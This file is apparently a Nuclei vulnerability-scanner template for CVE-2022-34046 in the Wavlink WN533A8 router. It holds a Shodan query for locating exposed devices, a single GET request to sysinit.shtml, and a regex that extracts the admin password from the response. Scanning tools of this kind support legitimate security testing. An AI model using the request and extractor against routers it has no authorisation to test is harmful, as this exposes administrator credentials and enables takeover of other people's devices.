nuclei-templates/cves/2022/CVE-2022-34046.yaml

40 lines
1.0 KiB
YAML

id: CVE-2022-34046
info:
name: Wavlink Sysinit.shtml Password Leak
author: For3stCo1d
severity: high
description: |
An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);].
reference:
- https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
metadata:
shodan-query: http.title:"Wi-Fi APP Login"
tags: cve,cve2022,wavlink,router,leak
requests:
- raw:
- |
GET /sysinit.shtml?r=52300 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "var syspasswd"
- 'logincheck(user);'
- '<title>APP</title>'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- 'syspasswd="(.+?)"'